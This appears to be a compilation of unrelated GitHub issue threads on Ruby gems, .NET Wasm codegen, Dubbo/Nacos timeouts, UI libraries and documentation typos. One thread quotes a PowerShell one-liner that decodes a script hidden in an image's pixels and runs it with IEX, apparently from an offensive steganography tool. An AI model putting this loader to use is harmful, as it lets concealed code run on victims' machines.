Gem 'mygem' was successfully created. For more information on making a RubyGem visit https://bundler.io/guides/creating_gem.html
$ cd mygem
$ cat mygem.gemspec
require_relative 'lib/mygem/version'

Gem::Specification.new do |spec|
  spec.name          = "mygem"
  spec.version       = Mygem::VERSION
  spec.authors       = ["schneems"]
  spec.email         =<EMAIL_ADDRESS>
  spec.summary       = %q{TODO: Write a short summary, because RubyGems requires one.}
  spec.description   = %q{TODO: Write a longer description or delete this line.}
  spec.homepage      = "TODO: Put your gem's website or public repo URL here."
  spec.license       = "MIT"
  spec.required_ruby_version = Gem::Requirement.new(">= 2.3.0")

  spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"

  spec.metadata["homepage_uri"] = spec.homepage
  spec.metadata["source_code_uri"] = "TODO: Put your gem's public repo URL here."
  spec.metadata["changelog_uri"] = "TODO: Put your gem's CHANGELOG.md URL here."

  # Specify which files should be added to the gem when it is released.
  # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
  spec.files         = Dir.chdir(File.expand_path('..', __FILE__)) do
    `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
  end
  spec.bindir        = "exe"
  spec.executables   = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
  spec.require_paths = ["lib"]
end

It looks like the tests are failing due to 1.9.3 and 1.8.7 support. I could fix this by adding lib to the load path instead of using require_relative

Closing in favor of https://github.com/mikel/mail/pull/1412


JEI support

Craftability of things is hard to determine without JEI

Hammer doesn't appear as an option for crafting to break ore into dust.

Eh what? Should have JEI support for everything except steel.


Wasm: Question on type of return values from shared generic calls

As an example, take
https://github.com/dotnet/corert/blob/88d75715f4c84c383365a33734d6f0cffe837061/src/System.Private.CoreLib/shared/System/Threading/WaitHandle.cs#L295
The second call parameter safeWaitHandles is an implicit op to a Span<SafeWaitHandle?> from its declaration
SafeWaitHandle?[]? safeWaitHandles = RentSafeWaitHandleArray(waitHandles.Length);

This implicit method  is a shared generic method so the call in LLVM looks like
%45 = call %"[S.P.CoreLib]System.Span`1<System.__Canon>" @"S_P_CoreLib_System_Span_1<System___Canon>__op_Implicit"(i8* %43, i8* %CastPtr163)

Where the return is the Canon type, [S.P.CoreLib]System.Span1<System.__Canon>`
This is not a valid type to pass into ObtainSafeWaitHandles as in LLVM that is defined on the concrete type
define void @S_P_CoreLib_System_Threading_WaitHandle__ObtainSafeWaitHandles(i8*, %"[S.P.CoreLib]System.ReadOnlySpan`1<System.Threading.WaitHandle>", %"[S.P.CoreLib]System.Span`1<Microsoft.Win32.SafeHandles.SafeWaitHandle>", %"[S.P.CoreLib]System.Span`1<native int>")

What would be the right way to solve this?  Should it always convert types to their canonical versions to the extent that System.Span1<Microsoft.Win32.SafeHandles.SafeWaitHandle>` is invalid in the LLVM?

How hard would it be to make it the other way - insert an explicit reinterpret-cast from Span<__Canon> to Span<SafeWaitHandle>?
I think RyuJIT tracks the types of parameters, locals and return types based on what's in the IL - it won't canonicalize everything by itself. The only place where in RyuJIT's type system __Canon would show up is if we're compiling a shared method body.
Maybe there's some tricks to steal in LLILC or Mono's LLVM backend. LLILC got pretty far, but got stuck with precise GC and EH semantics. Mono doesn't have a precise GC and they're okay with slightly wrong EH semantics so they simply scoped the hard problems out - for WebAssembly, I would expect CoreRT to have the same tradeoffs.

Oh, hey, dotnet/llilc#676.

THanks, llilc seems to be casting a pointer in that change, which is easier.  LLVM does not allow casting of structs or aggregate types even if the layout is the same.  I've made a fix as you suggest, but have to bit of work to do the struct conversion.  I asked at SO https://stackoverflow.com/questions/59569490/llvm-efficient-way-to-cast-struct and have used the approach in the comment there.  If something better comes up, it can be revisited.


Check that we can run in a google colab notebook

Run through this in a colab notebook and update instructions or fix anything problematic that comes up. Ensure that getting the QuickStart running is not a headache.

Yes, this is easy. You just pip install causalpy with:
%pip install caualpy


openshift_patcher.sh shouldn't require bash shell to be installed on the system

Need to use just sh instead

Will be deprecated soon.


Entry show page does not have Item Link

When viewing an entry after running an import (CSV in this case if it matters), the show page says "Item has not yet been imported successfully" instead of a link to the imported work. This seems to be caused by use of last_succeeded_at which seems like it was removed from use in #237

@dlpierce I think this issue may be resolved as written, by recent bulkrax updates; although I'm still seeing "Item has not yet been imported successfully" (even though it has), I'm now also seeing a working link to the item

@dlpierce @aploshay this issue should be resolved now. (we're currently on v3.4.0) please reopen with updated details if the issue still shows for you!


Add allow-all example

I think this is quite a useful policy, eg. when migrating from cert-manager to approver-policy.
Another use case is a cluster with an allow-all namespace and another restricted namespace.

/test pull-cert-manager-approver-policy-test

/approve


added speak property to qna response

@Batta32 we regressed VA QnA speak property setting, could you take a look for ts too please?

Sure @darrenj !
We added those changes in PR #1300 !


dubbo3.2和nacos2.1.2一起使用时，consumer无法获取metadata

provider可以在正常在nacos上显示注册信息，consumer启动后则一直获取不到metadata，希望得到解答！

provider可以在正常在nacos上显示注册信息，consumer启动后则一直获取不到metadata，希望得到解答！

This is a timeout issue. Is there any network connectivity? You can try telnet IP port

yes, I tried ping <IP_ADDRESS> and telnet <IP_ADDRESS> 20880 and both of them show the network is connective. I think <IP_ADDRESS> should be the address that provider runs at?

yes, I tried ping <IP_ADDRESS> and telnet <IP_ADDRESS> 20880 and both of them show the network is connective. I think <IP_ADDRESS> should be the address that provider runs at?

Yes, this metadata service is an internal service provided by the provider

So what may the issue lies? I tried many times and the consumer is always timeout. This is the details of the console log:
2023-04-21 16:46:32.998  INFO 3810 --- [ternal.notifier] o.a.d.r.client.ServiceDiscoveryRegistry  :  [DUBBO] Trying to subscribe from apps dubbo-nacos-demo-provider for service key dubbo.nacos.demo.DemoService:1.0.0, , dubbo version: 3.2.0, current host: <IP_ADDRESS>
2023-04-21 16:47:02.938  WARN 3810 --- [           main] o.a.d.r.proxy.InvokerInvocationHandler   :  [DUBBO] [Dubbo-Consumer] execute service dubbo-nacos-demo-provider/org.apache.dubbo.metadata.MetadataService:1.0.0:dubbo#getMetadataInfo cost 30043.098750 ms, this invocation almost (maybe already) timeout. Timeout: 30000ms
invocation context:
path=org.apache.dubbo.metadata.MetadataService;
version=1.0.0;
timeout=30000;
group=dubbo-nacos-demo-provider;
thread info:
Start time:<PHONE_NUMBER>375
+-[ Offset: 0.000000ms; Usage: 30043.098750ms, 100% ] Receive request. Client invoke begin. ServiceKey: dubbo-nacos-demo-provider/org.apache.dubbo.metadata.MetadataService:1.0.0 MethodName:getMetadataInfo, dubbo version: 3.2.0, current host: <IP_ADDRESS>, error code: 3-4. This may be caused by , go to https://dubbo.apache.org/faq/3/4 to find instructions.
2023-04-21 16:47:02.938  INFO 3810 --- [           main] o.a.d.r.transport.netty4.NettyChannel    :  [DUBBO] Close netty channel [id: 0xa8cdc6e2, L:/<IP_ADDRESS>:53568 - R:/<IP_ADDRESS>:20881], dubbo version: 3.2.0, current host: <IP_ADDRESS>
2023-04-21 16:47:02.947 ERROR 3810 --- [           main] o.a.d.r.client.metadata.MetadataUtils    :  [DUBBO] Failed to get app metadata for revision f743357fb13b2e782837efbb8809eedc for type local from instance <IP_ADDRESS>:20880, dubbo version: 3.2.0, current host: <IP_ADDRESS>, error code: 1-39. This may be caused by , go to https://dubbo.apache.org/faq/1/39 to find instructions.

So where may the issue lies? I tried many times and the consumer is always timeout. This is the detail of the console log:
2023-04-21 16:46:32.998  INFO 3810 --- [ternal.notifier] o.a.d.r.client.ServiceDiscoveryRegistry  :  [DUBBO] Trying to subscribe from apps dubbo-nacos-demo-provider for service key dubbo.nacos.demo.DemoService:1.0.0, , dubbo version: 3.2.0, current host: <IP_ADDRESS>
2023-04-21 16:47:02.938  WARN 3810 --- [           main] o.a.d.r.proxy.InvokerInvocationHandler   :  [DUBBO] [Dubbo-Consumer] execute service dubbo-nacos-demo-provider/org.apache.dubbo.metadata.MetadataService:1.0.0:dubbo#getMetadataInfo cost 30043.098750 ms, this invocation almost (maybe already) timeout. Timeout: 30000ms
invocation context:
path=org.apache.dubbo.metadata.MetadataService;
version=1.0.0;
timeout=30000;
group=dubbo-nacos-demo-provider;
thread info:
Start time:<PHONE_NUMBER>375
+-[ Offset: 0.000000ms; Usage: 30043.098750ms, 100% ] Receive request. Client invoke begin. ServiceKey: dubbo-nacos-demo-provider/org.apache.dubbo.metadata.MetadataService:1.0.0 MethodName:getMetadataInfo, dubbo version: 3.2.0, current host: <IP_ADDRESS>, error code: 3-4. This may be caused by , go to https://dubbo.apache.org/faq/3/4 to find instructions.
2023-04-21 16:47:02.938  INFO 3810 --- [           main] o.a.d.r.transport.netty4.NettyChannel    :  [DUBBO] Close netty channel [id: 0xa8cdc6e2, L:/<IP_ADDRESS>:53568 - R:/<IP_ADDRESS>:20881], dubbo version: 3.2.0, current host: <IP_ADDRESS>
2023-04-21 16:47:02.947 ERROR 3810 --- [           main] o.a.d.r.client.metadata.MetadataUtils    :  [DUBBO] Failed to get app metadata for revision f743357fb13b2e782837efbb8809eedc for type local from instance <IP_ADDRESS>:20880, dubbo version: 3.2.0, current host: <IP_ADDRESS>, error code: 1-39. This may be caused by , go to https://dubbo.apache.org/faq/1/39 to find instructions.

Then consumer throws RPCExecption indicating that invocation is timeout

Confirm if the provider has received the request

I refer to https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/reference-manual/metadata-center/nacos/ and configure metadata-type: remote, then the cosumer doesn't throw RPCExpection.

I make cosumer a RestController and call it throw <IP_ADDRESS>/hello
But I notice there is no log (i.e. request info you mentioned) at provider side, while consumer side's log is:

invocation context:
path=dubbo.nacos.demo.DemoService;
remote.application=dubbo-nacos-demo-consumer;
interface=dubbo.nacos.demo.DemoService;
version=1.0.0;
timeout=3000;
thread info:
Start time:<PHONE_NUMBER>625
+-[ Offset: 0.000000ms; Usage: 9082.774666ms, 100% ] Receive request. Client invoke begin. ServiceKey: dubbo.nacos.demo.DemoService:1.0.0 MethodName:sayHello
  +-[ Offset: 5.083916ms; Usage: 3017.671667ms, 33% ] Invoker invoke. Target Address: <IP_ADDRESS>:20880
  +-[ Offset: 3023.084250ms; Usage: 3030.060500ms, 33% ] Invoker invoke. Target Address: <IP_ADDRESS>:20880
  +-[ Offset: 6053.512583ms; Usage: 3028.777667ms, 33% ] Invoker invoke. Target Address: <IP_ADDRESS>:20880, dubbo version: 3.2.0, current host: <IP_ADDRESS>, error code: 3-4. This may be caused by , go to https://dubbo.apache.org/faq/3/4 to find instructions.
2023-04-21 17:35:41.147 ERROR 4704 --- [nio-8889-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.apache.dubbo.rpc.RpcException: Failed to invoke the method sayHello in the service dubbo.nacos.demo.DemoService. Tried 3 times of the providers [<IP_ADDRESS>:20880] (1/1) from the registry <IP_ADDRESS>:8848 on the consumer <IP_ADDRESS> using the dubbo version 3.2.0. Last error is: Invoke remote method timeout. method: sayHello, provider: DefaultServiceInstance{serviceName='dubbo-nacos-demo-provider', host='<IP_ADDRESS>', port=20880, enabled=true, healthy=true, metadata={dubbo.endpoints=[{"port":20880,"protocol":"dubbo"}], dubbo.metadata.revision=9b326a1e762e969a10c006bea5ed6a02, dubbo.metadata.storage-type=remote, timestamp=1682069664033}}, service{name='dubbo.nacos.demo.DemoService',group='null',version='1.0.0',protocol='dubbo',port='20880',params={executor-management-mode=isolation, side=provider, file-cache=true, release=3.2.0, methods=sayHello, deprecated=false, dubbo=2.0.2, interface=dubbo.nacos.demo.DemoService, service-name-mapping=true, version=1.0.0, timeout=5000, generic=false, revision=1.0.0, metadata-type=remote, application=dubbo-nacos-demo-provider, prefer.serialization=fastjson2,hessian2, background=false, dynamic=true, anyhost=true},}, cause: org.apache.dubbo.remoting.TimeoutException: Waiting server-side response timeout by scan timer. start time: 2023-04-21 17:35:38.101, end time: 2023-04-21 17:35:41.128, client elapsed: 2 ms, server elapsed: 3025 ms, timeout: 3000 ms, request: Request [id=5, version=2.0.2, twoWay=true, event=false, broken=false, mPayload=0, data=null], channel: /<IP_ADDRESS>:56535 -> /<IP_ADDRESS>:20880] with root cause

Then consumer throws org.apache.dubbo.remoting.TimeoutException: Waiting server-side response timeout by scan timer
It's weird, Then I checked the nacos:

The table only contains info of provider, is it normal?

The remote configuration is centralized and does not require RPC. You can manually access this RPC service on the provider's machine through the QoS tool to see if the provider's interface is working properly

The remote configuration is centralized and does not require RPC. You can manually access this RPC service on the provider's machine through the QoS tool to see if the provider's interface is working properly

Fine, but if I remove metadata-type: remote, consumer side will fail to get metadata, which returns to the very first state. can you tell me how to confirm if the provider has received the request? The current situation is:

ping and telnet show the network is fine
nacos console shows the provider is registered
consumer fails to get metadata and therefore throws RPCExpection
Can you show me the possible solution more clearly? I have been configuring for nearly one day...

…Found a not so elegant way to solve this issue, <IP_ADDRESS> may be an address that generated by nacos which consumer cannot access (though ping and telnet show no problem).
In IDEA, you can Edit Configurations -> Modify Options -> Add VM Options, then add -DDUBBO_IP_TO_REGISTRY=[YOUR_PC_IP]

我也碰到了这个问题，我的consumer服务里依赖了好几个不同的provider服务，只用一个provider的service出现了Failed to get app metadata的错误。看你最后的解决办法，这个问题看起来像是provider端没有上报元数据或者上报元数据失败导致的？

我也碰到了这个问题，我的consumer服务里依赖了好几个不同的provider服务，只用一个provider的service出现了Failed to get app metadata的错误。看你最后的解决办法，这个问题看起来像是provider端没有上报元数据或者上报元数据失败导致的？

yes, i thought it may relate to the reason i pointed out

我遇到了相同的问题。

我也碰到了这个问题，我的consumer服务里依赖了好几个不同的provider服务，只用一个provider的service出现了Failed to get app metadata的错误。看你最后的解决办法，这个问题看起来像是provider端没有上报元数据或者上报元数据失败导致的？

请问你解决了吗，我也遇到了这个问题

我记起来了，你加我微信联系吧！ enjoy-xiaolin
发自我的iPhone
------------------ Original ------------------
From: liumf95 @.>
Date: Mon,Dec 9,2024 6:12 PM
To: apache/dubbo @.>
Cc: xingxiaolin @.>, Comment @.>
Subject: Re: [apache/dubbo] dubbo3.2+nacos2.1.2, consumer failed to getmetadata -> throw RPCExpection (Issue #12155)
我也碰到了这个问题，我的consumer服务里依赖了好几个不同的provider服务，只用一个provider的service出现了Failed to get app metadata的错误。看你最后的解决办法，这个问题看起来像是provider端没有上报元数据或者上报元数据失败导致的？
请问你解决了吗，我也遇到了这个问题
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>


$lpayload + 1?

$pscmd = "sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("$Out");$o= a Byte[] $array;(0..$lrows)|% {foreach($x in (0..$lwidth)){$p=$g.GetPixel($x,$_);$o[$_*$width+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..($lpayload+1)]))"

Yes! Just fixed this.
I didn't notice for a long time since almost any script ends with a newline.


resizable honored in handles

This PR makes the controller's resizable setting honored when deciding if the resize handles should be created for the TransformableBox.
This seems like the desired behavior vs. having resize corner/side controls that do nothing but change the mouse cursor, which is confusing to the user.
ie.  When resizable setting for the controller is set to false then the TransformableBox stops making all of the resize corner/side controls.

Hi @timmaffett, Thank you for opening this issue.
The intention here was to make handle visibility explicit to the developer. The developer may not want to hide them when it is not resizable. That's why setting resizable doesn't hide them.
For example, this can be used in a crop image screen/dialog where the user makes adjustments and then hits the crop button. Now, its cropping and it may take a while so you don't want the user to be able to resize it anymore but you also don't wanna hide the handles of anything. It just ignores interactions.
To hide handles, you can override handle builder and just return SizedBox.shrink() to make them invisible.
To keep this explicit, we can add another flag something like hideHandlesWhenNotResizable that hides the handles when it is not resizable.

I love the idea of adding another flag such as hideHandlesWhenNotResizable which allows the user to explicitly request the behavior.
I understand that there is the option to override the handle builder, but I think the flag would be preferable for many users so they are not forced to override the handle builder, which is much more complex/lower level coding than just passing an optional hideHandlesWhenNotResizable flag to the constructor.
I will add a new PR to include this option, as well as a control to toggle it within the example.
(it accidentally made the changes on a new branch, so a new PR is easier than modifying this one)
I also modified the example code to have the option of including a second box to resize - as the previous example has it's model/code kind of 'hard coded' to control only a single box.

@timmaffett Should close this PR then?

Closing this because it is replaced with PR #5


setModalData should return the modal instead of boolean to allow chaining

I'm submitting a ...
[ ] bug report => search github for a similar issue or PR before submitting
[x] feature request
[ ] support request => Please do not submit support request here, post on Stackoverflow or Gitter

Current behavior

Currently the setModalData returns true or false based on if the data was set properly or not.
Expected behavior

It should return the modal whose data has been set, to check if the data was set or not, chaining can be used.
What is the motivation / use case for changing the behavior?

Method Chaining. Just after setting the modal data, may be you want to call the modal by getModal. Right now you have to write an extra line of code and its unnecessary.
Please tell us about your environment:

NPM, VS code

Smart Modal version: 7.1.0

Angular version: 6

Browser: [all]

Language: [all]

Hi @arshad115!
That's an interesting feature, I'm currently preparing a new release including fixes for #164 and some other little features, so it could be nice to add this one in the next release. Thank you! 👍

Hi @maximelafarie
Glad to hear that. May be I can also help with that. Thank you too :+1:

After few investigations while fixing this issue is that it's a breaking change. It completely changes the return type of the method so it needs to be on the roadmap of the new features / refactor we want to make.
Stay tuned! 😉


Fix unable to set Writable Memos twice to the same value, when they changed in between

Removed the equality check from the inner signal of a writable memo.
The equality check is performed by the outer memo anyway, and previously prevented the outer memo from being reset.

@Fxxxlei could you add a test covering the fixed case?

Got it done.


Trying to get property of non-object

Trying to get property of non-object (View: C:\Users\One_1\Desktop\cmms\new-git-project\laraflat\app\Application\views\website\theme\bootstrap\home.blade.php)
first()->body_setting;
}
Arguments
"Trying to get property of non-object (View: C:\Users\One_1\Desktop\cmms\new-git-project\laraflat\app\Application\views\website\theme\bootstrap\home.blade.php)"

you forget to do db:seed
write this command in  :  php artisan db:seed

i reinstalled the project

thanks


Issue/Help with "Fetch Account Config By PCDS Account ID"

Documentation link

https://pan.dev/prisma-cloud/api/cspm/get-account-config-by-pcds-account-id/
Describe the problem
typo; the beginning of sentence uncapitalized; sentence construction could be as such: "The "initialize" parameter is only used during Azure flow."

Typo

Sentence currently reads as this: 'initialize' is only used during Azure flow.
Suggested fix

sentence construction could be as such: "The "initialize" parameter is only used during Azure flow."

Please Assign this issue to me